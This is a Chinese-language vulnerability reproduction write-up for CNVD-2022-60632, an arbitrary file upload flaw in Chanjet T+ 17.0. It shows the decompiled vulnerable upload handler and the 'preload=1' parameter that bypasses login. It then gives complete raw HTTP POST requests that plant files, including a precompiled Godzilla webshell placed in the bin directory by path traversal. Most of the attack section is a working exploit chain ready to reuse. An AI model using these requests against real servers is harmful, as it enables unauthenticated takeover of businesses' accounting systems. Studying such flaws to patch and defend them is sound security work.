CNVD-2022-60632 畅捷通任意文件上传漏洞复现
一、环境安装
https://www.chanjetvip.com/product/goods/download-list?id=53aaa40295d458e44f5d3ce5
选择17.0
https://dad.chanapp.chanjet.com/TplusYZHJ17.0.zip
建议选择迅雷下载。解压后选择标准版安装
安装的会比较慢。等等就行了。记得先把安全软件关闭了。这样不会出错(安装了两次)
过程中需要配置MSSQL 数据库的。不设置即可
二、漏洞审计
根据网上流传的payload找到文件
SM\SetupAccount\Upload.aspx
发现该文件为编译的文件。
畅捷通整套程序用了预编译,直接到根目录的bin下找对应的compiled文件
畅捷通整套程序用了预编译,直接到根目录的bin下找对应的compiled文件
bin\upload.aspx.9475d17f.compiled
<?xml version="1.0" encoding="utf-8"?> <preserve resultType="3" virtualPath="/WebSite/SM/SetupAccount/Upload.aspx" hash="16f32931f" filehash="8aff27fcb5b4a92d" flags="110000" assembly="App_Web_upload.aspx.9475d17f" type="ASP.sm_setupaccount_upload_aspx"> <filedeps> <filedep name="/WebSite/SM/SetupAccount/Upload.aspx" /> <filedep name="/WebSite/SM/SetupAccount/Upload.aspx.cs" /> </filedeps> </preserve>
使用dnspy 查看
// CommonPage_SetupAccount_Upload // Token: 0x06000004 RID: 4 RVA: 0x000020AC File Offset: 0x000002AC protected void Page_Load(object sender, EventArgs e) { this.ReadResources(); if (base.Request.Files.Count == 1) { string text = "images/index.gif"; object obj = this.ViewState["fileName"]; if (obj != null) { text = obj.ToString(); } if (this.File1.PostedFile.ContentLength > 204800) { base.Response.Write(string.Concat(new string[] { "<script language='javascript'>alert('", this.PhotoTooLarge, "'); parent.document.getElementById('myimg').src='", text, "';</script>" })); return; } if (this.File1.PostedFile.ContentType != "image/jpeg" && this.File1.PostedFile.ContentType != "image/bmp" && this.File1.PostedFile.ContentType != "image/gif" && this.File1.PostedFile.ContentType != "image/pjpeg") { base.Response.Write(string.Concat(new string[] { "<script language='javascript'>alert('", this.PhotoTypeError, "'); parent.document.getElementById('myimg').src='", text, "';</script>" })); return; } string fileName = this.File1.PostedFile.FileName; string text2 = fileName.Substring(fileName.LastIndexOf('\\') + 1); this.File1.PostedFile.SaveAs(base.Server.MapPath(".") + "\\images\\" + text2); string text3 = base.Server.MapPath(".") + "\\images\\" + text2; this.ViewState["fileName"] = "images/" + text2; TPContext.Current.Session["ImageName"] = text3; } }
代码大概的意思为。上传的文件不大于2M 然后判断Content-Type 是否为其中一个类型。然后写入到images 目录中。文件名没有任何过滤。
构造一下上传代码
POST /tplus/SM/SetupAccount/Upload.aspx HTTP/1.1 Host: 192.168.1.77:8080 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9,en;q=0.8 Cookie: ASP.NET_SessionId=gvigofzulthd2v1i2q5zndtf; Hm_lvt_fd4ca40261bc424e2d120b806d985a14=1662302093; Hm_lpvt_fd4ca40261bc424e2d120b806d985a14=1662302093 Connection: close Content-Type: multipart/form-data; boundary=----WebKitFormBoundarywwk2ReqGTj7lNYlt Content-Length: 182 ------WebKitFormBoundarywwk2ReqGTj7lNYlt Content-Disposition: form-data; name="File1";filename="11.aspx" Content-Type: image/jpeg 1 ------WebKitFormBoundarywwk2ReqGTj7lNYlt--
发现需要登陆。那么翻看一下代码好像没有找到鉴权的地方。那么找一下他的引用文件
把App_global.asax 导入到dnspy 中
也没有发现什么鉴权的函数之类的。那么再往上找一层 发现他引用了App_Web_global.asax.cs.cdcab7d2 这个。那么把dll文件丢进去
发现一个 Application_PreRequestHandlerExecute 函数。
参数preload 为1 的时候就不经过下方的session 验证了。
进行尝试
POST /tplus/SM/SetupAccount/Upload.aspx?preload=1 HTTP/1.1 Host: 192.168.1.77:8080 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9,en;q=0.8 Cookie: ASP.NET_SessionId=gvigofzulthd2v1i2q5zndtf; Hm_lvt_fd4ca40261bc424e2d120b806d985a14=1662302093; Hm_lpvt_fd4ca40261bc424e2d120b806d985a14=1662302093 Connection: close Content-Type: multipart/form-data; boundary=----WebKitFormBoundarywwk2ReqGTj7lNYlt Content-Length: 183 ------WebKitFormBoundarywwk2ReqGTj7lNYlt Content-Disposition: form-data; name="File1";filename="222.aspx" Content-Type: image/jpeg 1 ------WebKitFormBoundarywwk2ReqGTj7lNYlt--
发现返回结果不一样了。那么看看images文件中是否有这个文件
发现成功上传了
三、getshell
实际访问的时候他返回的错误信息:未预编译文件那么使用绕过的方式
用哥斯拉随便生产一个木马文件
然后CMD 执行
C:\WINDOWS\Microsoft.NET\Framework\v2.0.50727\aspnet_compiler.exe -v / -p M:\iiss D:/iss -fixednames
-p 代表的是你木马的目录。 D:\iss 表示生成在那个目录中。
执行完毕后,查看D:\iss 目录
把这两个文件上传到bin目录中
POST /tplus/SM/SetupAccount/Upload.aspx?preload=1 HTTP/1.1 Host: 192.168.1.77:8080 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9,en;q=0.8 Cookie: ASP.NET_SessionId=gvigofzulthd2v1i2q5zndtf; Hm_lvt_fd4ca40261bc424e2d120b806d985a14=1662302093; Hm_lpvt_fd4ca40261bc424e2d120b806d985a14=1662302093 Connection: close Content-Type: multipart/form-data; boundary=----WebKitFormBoundarywwk2ReqGTj7lNYlt Content-Length: 192 ------WebKitFormBoundarywwk2ReqGTj7lNYlt Content-Disposition: form-data; name="File1";filename="../../../bin/xx.bin" Content-Type: image/jpeg 1 ------WebKitFormBoundarywwk2ReqGTj7lNYlt--
上传完成之后访问如下:
http://192.168.1.77:8080/tplus/111.aspx?preload=1
备注一定要加preload=1 这个。不然他还是走了验证的通道